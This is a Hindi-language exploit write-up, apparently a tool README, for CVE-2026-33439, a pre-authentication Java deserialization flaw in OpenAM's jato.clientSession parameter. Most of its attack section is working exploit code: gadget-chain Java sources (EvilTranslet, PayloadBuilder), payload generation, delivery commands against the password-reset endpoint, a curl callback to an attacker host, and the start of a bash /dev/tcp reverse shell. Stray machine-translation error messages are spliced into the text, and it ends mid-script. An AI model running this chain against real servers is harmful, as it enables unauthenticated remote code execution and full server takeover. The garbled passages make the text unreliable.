
CVE-2026-33439 (jato.clientSession डिसीरियलाइज़ेशन के माध्यम से OpenAM प्री-ऑथ RCE) के लिए पहला सार्वजनिक रूप से साझा किया गया एक्सप्लॉइट इम्प्लीमेंटेशन।
मानव अंतर्दृष्टि + AI-सहायता प्राप्त विश्लेषण + रिवर्स इंजीनियरिंग + एडवाइज़री → एक्सप्लॉइट
CVE-2026-33439 के लिए पहला सार्वजनिक रूप से साझा किया गया एक्सप्लॉइट इम्प्लीमेंटेशन
ForgeRock OpenAM में बिना प्रमाणीकरण वाली Java डिसीरियलाइज़ेशन भेद्यता, जो क्राफ्टेड JATO सत्र ऑब्जेक्ट्स के माध्यम से पूर्ण रिमोट कोड निष्पादन की अनुमति देती है। वही नदी दो बार बहती है, उन्होंने jato.pageSession (CVE-2021-35464) को ठीक किया और jato.clientSession (CVE-2026-33439) को भूल गए। एक डिसीरियलाइज़ेशन गैजेट चेन क्रेडेंशियल नहीं माँगती।
CVE-2026-33439 OpenIdentityPlatform OpenAM (संस्करण 16.0.6 से पहले) में एक प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन भेद्यता है। यह भेद्यता jato.clientSession HTTP पैरामीटर के असुरक्षित Java डिसीरियलाइज़ेशन के कारण उत्पन्न होती है, जो ClientSession.deserializeAttributes() के अंदर होता है, जो Encoder.deserialize() → ApplicationObjectInputStream.readObject() को बिना किसी क्लास व्हाइटलिस्ट के कॉल करता है।
एक बिना प्रमाणीकरण वाला हमलावर किसी भी JATO ViewBean एंडपॉइंट पर एक क्राफ्टेड HTTP GET या POST अनुरोध भेजता है, जिसमें एक सीरियलाइज़्ड Java ऑब्जेक्ट होता है, जिसका JSP <jato:form> टैग्स रेंडर करता है। अनुरोध प्राप्त होने पर, सर्वर बिना किसी सत्यापन के ऑब्जेक्ट को डिसीरियलाइज़ करता है, जिससे पूरी तरह से OpenAM WAR में बंडल की गई क्लासों से निर्मित एक गैजेट चेन सक्रिय हो जाती है — किसी बाहरी लाइब्रेरी की आवश्यकता नहीं होती — और एप्लिकेशन प्रोसेस यूज़र के रूप में मनमाने OS कमांड निष्पादित करती है।
CVSS 4.0 Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critical
CVSS 3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical
यह भेद्यता CVE-2021-35464 के बाद लागू किए गए अधूरे फिक्स का सीधा प्रतिगमन है।
CVE-2021-35464 (ForgeRock AM / OpenAM): jato.pageSession पैरामीटर के असुरक्षित डिसीरियलाइज़ेशन के माध्यम से प्री-ऑथ RCE। जंगल में व्यापक रूप से शोषित; CISA KEV-सूचीबद्ध। फिक्स ने ConsoleViewBeanBase.deserializePageAttributes() के अंदर WhitelistObjectInputStream पेश किया — एक कस्टम ObjectInputStream उपवर्ग जो किसी भी क्लास को इंस्टैंशिएट करने से पहले हर क्लास नाम को ~40 सुरक्षित क्लासों की हार्डकोडेड अनुमतिसूची के विरुद्ध जाँचता है।
CVE-2026-33439 (OpenAM ≤ 16.0.5): फिक्स केवल jato.pageSession पर लागू किया गया था। jato.clientSession पैरामीटर — जिसे ClientSession.deserializeAttributes() में पूरी तरह से अलग कोड पथ द्वारा संभाला जाता है — को कभी पैच नहीं किया गया और यह अब भी बिना फ़िल्टर किए गए Encoder.deserialize() → ApplicationObjectInputStream का उपयोग करता है, जो बिना किसी क्लास व्हाइटलिस्ट के ObjectInputStream.readObject() को कॉल करता है।
हमले का प्राइमिटिव वही है। डिसीरियलाइज़ेशन सिंक अलग है। केवल पैरामीटर का नाम बदला है।
JATO UI व्यू स्टेट को jato.pageSession और jato.clientSession नाम के HTTP पैरामीटरों में सीरियलाइज़ करता है। जब कोई अनुरोध आता है, तो OpenAM प्रतिक्रिया रेंडर करने से पहले UI स्टेट को पुनर्स्थापित करने के लिए इन पैरामीटरों को डिसीरियलाइज़ करता है। दोनों पैरामीटर पूरी तरह से अलग-अलग कोड पथों का अनुसरण करते हैं।
jato.pageSession के लिए पैच किया गया कोड पथ (CVE-2021-35464 के बाद):```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();
jato.clientSession के लिए बिना पैच वाला कोड पथ (असुरक्षित):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
Encoder.decodeHttp64(this.encodedSessionString), false)
);
}
}
Encoder.deserialize() एक सादा ApplicationObjectInputStream बनाता है - ObjectInputStream का एक उपवर्ग जिसमें कोई class फ़िल्टरिंग नहीं होती। JVM classpath पर मौजूद कोई भी class इंस्टैंशिएट की जा सकती है। Deserialization JSP रेंडरिंग के दौरान तब ट्रिगर होती है जब भी कोई < jato:form > tag रेंडर किया जाता है:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
---
<div id="vulnerability_affected"/>
### ***प्रभावित संस्करण***
| उत्पाद | असुरक्षित | ठीक किया गया |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 |
| ForgeRock AM (डाउनस्ट्रीम) | पैच वंशावली के आधार पर संभावित रूप से प्रभावित | - |
---
<div id="vulnerability_attacksurface"/>
### ***हमले की सतह***
कोई भी JATO ViewBean एंडपॉइंट जिसकी JSP में `< jato:form >` टैग होता है, प्रमाणीकरण-पूर्व शोषण योग्य है:
| एंडपॉइंट | उद्देश्य |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | पासवर्ड रीसेट - उपयोगकर्ता पहचान इनपुट |
| /ui/PWResetQuestion | पासवर्ड रीसेट - सुरक्षा प्रश्न |
पासवर्ड रीसेट एंडपॉइंट प्राथमिक लक्ष्य हैं, वे डिज़ाइन द्वारा सार्वजनिक रूप से सुलभ हैं और *< jato:form >* टैग प्रस्तुत करने की गारंटी रखते हैं।
---
---
---
<div id="gadgetchain"/>
## ***⚙️ गैजेट श्रृंखला***
<div id="gadgetchain_deserialization101"/>
### ***Java डिसीरियलाइज़ेशन 101***
जब Java किसी बाइट स्ट्रीम से किसी ऑब्जेक्ट को डिसीरियलाइज़ करता है, तो वह पुनर्निर्मित किए जाने वाले हर क्लास पर readObject() को कॉल करता है, जिसमें नेस्टेड ऑब्जेक्ट भी शामिल हैं। यदि कोई हमलावर बाइट स्ट्रीम को नियंत्रित करता है और ऐसा ऑब्जेक्ट इंजेक्ट करता है जिसका readObject() कोड निष्पादन में समाप्त होने वाली मेथड कॉल्स की एक श्रृंखला को ट्रिगर करता है, तो उनके पास गैजेट-चेन RCE होता है।
CVE-2026-33439 की मुख्य बात: गैजेट श्रृंखला को किसी बाहरी लाइब्रेरी की आवश्यकता नहीं होती है। श्रृंखला का हर क्लास OpenAM WAR के अंदर ही बंडल होता है `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>यह भेद्यता को किसी भी डिफ़ॉल्ट OpenAM तैनाती पर शोषण योग्य बनाता है।</u>
---
<div id="gadgetchain_encoding"/>
### ***Encoder.decodeHttp64***
यह वह महत्वपूर्ण विवरण है जो एक्सप्लॉइट को काम करने में सक्षम बनाता है। `jato-shaded-16.0.5.jar` में स्थित `Encoder` क्लास Java के URL-safe base64 एनकोडर/डिकोडर का उपयोग करता है - न कि मानक base64, और न ही कोई कस्टम कैरेक्टर प्रतिस्थापन योजना।
Encoder.class को डीकंपाइल करके सत्यापित किया गया:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
I apologize, but I don't see any text to translate in the input. The chunk appears to be empty. Please provide the actual content of chunk 9, and I'll translate it to Hindi.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
URL-safe base64, '+' के बजाय '-' और '/' के बजाय '_' का उपयोग करता है, बिना पैडिंग '=' के। सही एन्कोडिंग है:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
किसी भी अन्य एन्कोडिंग, जिसमें मानक base64 या मैन्युअल वर्ण प्रतिस्थापन शामिल है, decodeHttp64() को अपवाद फेंकने या दूषित बाइट्स उत्पन्न करने का कारण बनेगी, जिससे HTTP प्रतिक्रिया में कोई त्रुटि दिए बिना deserialization मौन रूप से विफल हो जाएगा।
पूरी श्रृंखला, जो OpenAM WAR से केवल क्लासेस का उपयोग करती है:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)
The input is empty — no source content was provided for chunk 15/73. Please supply the Markdown text so it can be translated into Hindi.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
महत्वपूर्ण विवरण: "Column$ColumnComparator.compare()" "getProperty()" को कॉल करने से पहले "column.getTable().isSortedAscending()" को कॉल करता है। यदि "getTable()" null लौटाता है, तो श्रृंखला "TemplatesImpl" तक पहुँचने से पहले "NullPointerException" के साथ समाप्त हो जाती है। सीरियलाइज़ेशन से पहले "column.setTable(table)" के माध्यम से एक "Table" ऑब्जेक्ट को "Column" से संबद्ध किया जाना चाहिए।
┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘
| कंटेनर | इमेज | भूमिका |
|-------------------------|------------------------------------------|-------------------|
| cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | असुरक्षित लक्ष्य |
| cve_2026_33439_attacker | debian:bookworm-slim | आक्रमण मशीन |
> प्रयोगशाला आधिकारिक OpenAM 16.0.5 WAR का उपयोग करती है, जो Tomcat 10.1.52 और Java 21 पर तैनात है - यह वही वातावरण है जो GitHub Security Advisory में वर्णित है।
---
<div id="lab_setup"/>
### ***सेटअप***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>
**चरण 1 - आधिकारिक OpenAM 16.0.5 WAR डाउनलोड करें**```powershell
# From PowerShell on the host
cd "01 Vulnerable"
Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
चरण 2 - कंटेनर प्रारंभ करें```powershell docker compose up -d
**चरण 3 - ब्राउज़र से OpenAM कॉन्फ़िगर करें**
"http://localhost:8080/openam" पर जाएँ, "Create Default Configuration" पर क्लिक करें और निम्न सेट करें:
| Field | Value |
|---------------------------------|---------------|
| Default User Password (amadmin) | Lab@dm1n2026! |
| Agent Password | secret12 |
कॉन्फ़िगरेशन पूरा होने के लिए ~2 मिनट प्रतीक्षा करें।
**चरण 4 - पुष्टि करें कि पासवर्ड रीसेट सक्षम है**
amadmin के रूप में लॉग इन करें → Configure → Global Services → Password Reset → टॉगल सक्षम करें → Save Changes।
**चरण 5 - शोषण योग्य JSP एंडपॉइंट की पहचान करें**
WAR में सभी JSP खोजें जिनमें *< jato:form >* टैग हैं, ये वे एंडपॉइंट हैं जहाँ jato.clientSession डीरियलाइज़ेशन ट्रिगर होता है:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
यह समझने के लिए JSP स्रोत का निरीक्षण करें कि jato.clientSession रेंडर किए गए HTML में क्यों दिखाई नहीं दे सकता। <jato:form> टैग <jato:content name="resetPage"> के अंदर लपेटा गया है, जो केवल तभी रेंडर होता है जब ViewBean उस ब्लॉक को सक्रिय करता है। हालाँकि, JSP के शीर्ष पर मौजूद <jato:useViewBean> हमेशा ViewBean को इंस्टैंशिएट करता है और यह तय करने से पहले jato.clientSession को प्रोसेस करता है कि कौन से ब्लॉक रेंडर किए जाएँ - डिसीरियलाइज़ेशन उस बिंदु पर हर हाल में होता है:```powershell
docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
The input provided is empty — there is no chunk content to translate. Please supply the actual Markdown text for chunk 27/73.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
<%-- Only renders if ViewBean activates this block --%>
<jato:content name="resetPage">
<jato:form name="PWResetUserValidation" method="post">
<%-- jato.clientSession hidden field appears here --%>
</jato:form>
</jato:content>
</jato:useViewBean>
चरण 6 - सत्यापित करें कि एंडपॉइंट प्रमाणीकरण से पहले पहुँच योग्य है```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
---
<div id="lab_access"/>
### ***पहुंच***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash
विघटन:```powershell
docker compose down
docker compose down -v
---
---
---
<div id="exploitation"/>
## ***💣 शोषण***
<div id="exploitation_prerequisites"/>
### ***पूर्वापेक्षाएँ***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>
| आवश्यकता | टिप्पणियाँ |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac) | OpenAM पर चल रहे JVM संस्करण से मेल खाना चाहिए। केवल JRE पर्याप्त नहीं है, EvilTranslet और PayloadBuilder को संकलित करने के लिए javac आवश्यक है। |
| openam-core-16.0.5.jar | OpenAM कंटेनर से कॉपी किया गया - इसमें Column, Column$ColumnComparator, PropertyUtils शामिल हैं |
| xalan-2.7.3.jar | OpenAM कंटेनर से कॉपी किया गया - इसमें TemplatesImpl, TransformerFactoryImpl शामिल हैं |
| serializer-2.7.3.jar | OpenAM कंटेनर से कॉपी किया गया - इसमें EvilTranslet द्वारा उपयोग किया जाने वाला SerializationHandler शामिल है |
| click-nodeps-2.3.0.jar | OpenAM कंटेनर से कॉपी किया गया - इसमें Table शामिल है (Column$ColumnComparator के लिए आवश्यक) |
| click-extras-2.3.0.jar | OpenAM कंटेनर से कॉपी किया गया - click-nodeps की ट्रांज़िटिव निर्भरता |
| jato-shaded-16.0.5.jar | OpenAM कंटेनर से कॉपी किया गया - इसमें decodeHttp64 के साथ Encoder शामिल है |
| servlet-api.jar | Tomcat lib/ से कॉपी किया गया - Table के सीरियलाइज़ेशन के लिए आवश्यक Jakarta Servlet API |
| Python 3.8+ | PoC स्क्रिप्ट के लिए |
| requests | pip install requests |
---
<div id="exploitation_discovery"/>
### ***खोज और टोही***
**चरण 1 - पुष्टि करें कि OpenAM चल रहा है और संस्करण पहचानें**```
http://localhost:8080/openam/ccversion/Version
चरण 2 - JATO ViewBean एंडपॉइंट्स की जांच करें```bash
for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
echo "[HTTP ${STATUS}] ${ENDPOINT}"
done
**चरण 3 - पुष्टि करें कि jato.clientSession संसाधित हो गया है**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
प्रतिक्रिया में रेंडर किए गए HTML में "jato.defaultCommand" और "jato.pageSession" शामिल होंगे, लेकिन "jato.clientSession" नहीं, यह अपेक्षित व्यवहार है। "jato.clientSession" फ़ील्ड केवल < jato:content name="resetPage" > के अंदर दिखाई देती है, जिसके लिए ViewBean को उस ब्लॉक को सक्रिय करने की आवश्यकता होती है। हालाँकि, < jato:useViewBean > हमेशा ViewBean को इंस्टैंशिएट करता है और यह तय करने से पहले "jato.clientSession" को प्रोसेस करता है कि कौन से ब्लॉक रेंडर करने हैं। Deserialization इंस्टैंशिएशन के समय ही ट्रिगर हो जाता है, भले ही फ़ील्ड अंतिम HTML आउटपुट में दिखाई दे या नहीं। प्रतिक्रिया में "jato.pageSession" की उपस्थिति पुष्टि करती है कि इस endpoint पर JATO serialization सक्रिय है और "jato.clientSession" अगले अनुरोध पर deserialized हो जाएगा।
एक्सप्लॉइट बनाने से पहले, JATO JAR को डिकंपाइल करके "Encoder.decodeHttp64()" द्वारा उपयोग किए जाने वाले एन्कोडिंग की पुष्टि करनी होगी। यह चरण आवश्यक है, गलत एन्कोडिंग का उपयोग करने से deserialization मौन रूप से विफल हो जाता है।
चरण 1 - OpenAM से सभी आवश्यक JARs को आक्रमणकारी वर्कस्पेस में कॉपी करें
होस्ट पर PowerShell से:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/
**चरण 2 - डिकोडिंग विधि सत्यापित करने के लिए एन्कोडर को डीकंपाइल करें**
हमलावर कंटेनर के अंदर से:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
URL-सुरक्षित base64 की पुष्टि करने वाला अपेक्षित आउटपुट:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
**चरण 3 - गैजेट चेन पथ को सत्यापित करने के लिए Column$ColumnComparator को डिकंपाइल करें**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
यह पुष्टि करता है कि Column.getTable() को एक गैर-null Table ऑब्जेक्ट लौटाना चाहिए, अन्यथा getProperty() → TemplatesImpl तक पहुँचने से पहले compare() NullPointerException फेंक देता है।
सभी कमांड्स attacker कंटेनर के अंदर से चलाएँ।
चरण 1 - क्लासपाथ सेट करें```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
**चरण 2 - EvilTranslet.java लिखें और संकलित करें**
EvilTranslet extends AbstractTranslet (TemplatesImpl द्वारा आवश्यक) और स्टैटिक इनिशियलाइज़र में कमांड निष्पादित करता है, जो newInstance() पर स्वचालित रूप से चलता है।```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
javac -cp $CP /work/EvilTranslet.java
चरण 3 - PayloadBuilder.java लिखें और संकलित करें
PayloadBuilder गैजेट चेन का निर्माण करता है और URL-safe base64 एन्कोडेड सीरियलाइज़्ड पेलोड को आउटपुट करता है।```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;
public class PayloadBuilder {
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}
static void setField(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
static void setFieldPQ(Object obj, String name, Object value) throws Exception {
Field f = PriorityQueue.class.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
// Step 1 - TemplatesImpl with EvilTranslet bytecode
// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{ bytecode });
setField(templates, "_name", "EvilTranslet");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_transletIndex", 0);
// Step 2 - Column with Table associated
// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
Table table = new Table();
Column column = new Column("outputProperties");
column.setTable(table);
@SuppressWarnings("unchecked")
Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
// Step 3 - PriorityQueue as deserialization trigger
// readObject() -> heapify() -> siftDown() -> comparator.compare()
// Size must be >= 2 for heapify to call compare()
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
setFieldPQ(queue, "queue", new Object[]{ templates, templates });
setFieldPQ(queue, "size", 2);
// Step 4 - Serialize and URL-safe base64 encode
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
System.out.println(encodeHttp64(baos.toByteArray()));
}
} EOF
javac -cp $CP /work/PayloadBuilder.java
**चरण 4 - पेलोड जनरेट करें**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64
आउट-ऑफ-बैंड HTTP कॉलबैक के साथ RCE की पुष्टि करें
टर्मिनल 1 - लिसनर:
---``` docker exec -it cve_2026_33439_attacker bash
nc -lvnp 9999
टर्मिनल 2 - कॉलबैक पेलोड जनरेट करें और भेजें:```
docker exec -it cve_2026_33439_attacker bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
PAYLOAD=$(cat /work/payload_http.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
यदि RCE काम कर रहा है, तो टर्मिनल 1 को OpenAM सर्वर से एक इनकमिंग HTTP कनेक्शन प्राप्त होता है:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /
**एक फ़ाइल आर्टिफैक्ट लिखें**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
PAYLOAD=$(cat /work/payload_file.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
PowerShell से सत्यापित करें:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned
**रिवर्स शेल**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>
टर्मिनल 1 - लिसनर:```
docker exec -it cve_2026_33439_attacker bash
nc -lvnp 4444
टर्मिनल 2 - डिलीवर:``` docker exec -it cve_2026_33439_attacker bash
CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
B64CMD=$(echo "$CMD" | base64 -w 0)
cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;
